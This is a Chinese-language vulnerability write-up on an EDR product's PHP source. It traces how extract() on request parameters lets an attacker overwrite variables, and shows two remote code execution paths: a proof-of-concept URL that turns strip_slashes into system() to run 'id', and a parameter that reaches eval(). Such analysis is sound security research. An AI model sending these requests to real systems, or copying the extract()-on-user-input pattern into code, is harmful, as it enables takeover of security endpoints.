某信服EDR源码分析
基于EDR源码的一次分析
变量覆盖漏洞
常见的引发变量覆盖的漏洞函数有:extract(),parse_str(),import_request_variables(),$$。
extract():
extract()函数从数组中将变量导入到当前的符号表,该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
语法:
extract(array,extract_rules,prefix)
实例:
源码分析
1 function ldb_input_field($info) { 2 extract($info); 3 $value = htmlentities($value); 4 echo "<font size=2>$title: </font> 5 <input type=\"text\" size=100 id=\"$name\" name=\"$name\" value=\"$value\"> 6 <font size=2>$note</font><br>"; 7 }
Extract()函数的第二个参数为空,默认情况下会对$info变量进行覆盖
RCE漏洞(1)
https://xxx.com:xxx/tool/log/c.php?strip_slashes=system&host=id
找到/tool/log/c.php,定位到代码
1 $show_form($_REQUEST); 2 echo "<pre>"; 3 $main($_REQUEST); 4 echo "</pre>";
将$_REQUEST传递进$show_form匿名函数
1 $show_form = function($params) use(&$strip_slashes, &$show_input) { 2 extract($params); 3 $host = isset($host) ? $strip_slashes($host) : "127.0.0.1"; 4 $path = isset($path) ? $strip_slashes($path) : ""; 5 $row = isset($row) ? $strip_slashes($row) : ""; 6 $limit = isset($limit) ? $strip_slashes($limit) : 1000; 7 8 // 绘制表单 9 echo "<pre>"; 10 echo '<form id="studio" name="studio" method="post" action="">'; 11 $show_input(array("title" => "Host ", "name" => "host", "value" => $host, "note" => " - host, e.g. 127.0.0.1")); 12 $show_input(array("title" => "Path ", "name" => "path", "value" => $path, "note" => " - path regex, e.g. mapreduce")); 13 $show_input(array("title" => "Row ", "name" => "row", "value" => $row, "note" => " - row regex, e.g. [w|e]")); 14 $show_input(array("title" => "Limit", "name" => "limit", "value" => $limit, "note" => " - top n, e.g. 100")); 15 echo '<input type="submit" id="button">'; 16 echo '</form>'; 17 echo "</pre>"; 18 };
在这里传入的参数的值为strip_slashes=system ,host=id
经过extract()函数后
1 extract($params);
赋值了两个新变量为:
$strip_slashes = ‘system’;
$host= ’id’
然后运行到下面的三元运算这段代码时,产生漏洞
1 $host = isset($host) ? $strip_slashes($host) : "127.0.0.1";
当isset($host)为TRUE时,$host = $strip_slashes($host)
实际上赋值内容为$host = system(id)的返回结果。
这也就造成了可以直接执行命令
RCE漏洞(2)
在/tool/php_cli.php,也存在相同的变量覆盖问题
1 $show_form($_REQUEST); 2 echo "<pre>"; 3 $main($_REQUEST); 4 echo "</pre>";
在传入的参数($show_text)中 $code 的值是用户可以控制的
$show_form = function($params) use(&$strip_slashes, &$show_text) { extract($params); $code = isset($code) ? $strip_slashes($code) : ""; // ?????? echo "<pre>"; echo '<form id="studio" name="studio" method="post" action="">'; $show_text(array("title" => "Code", "name" => "code", "value" => $code, "note" => " - php code")); echo '<input type="submit" id="button">'; echo '</form>'; echo "</pre>"; };
经过extract()函数的覆盖,$code = $strip_slashes($code)
最后使用eval()执行
1 $main = function($argv) { 2 extract($argv); 3 if (!isset($code)) { 4 return; 5 } 6 eval($code); 7 };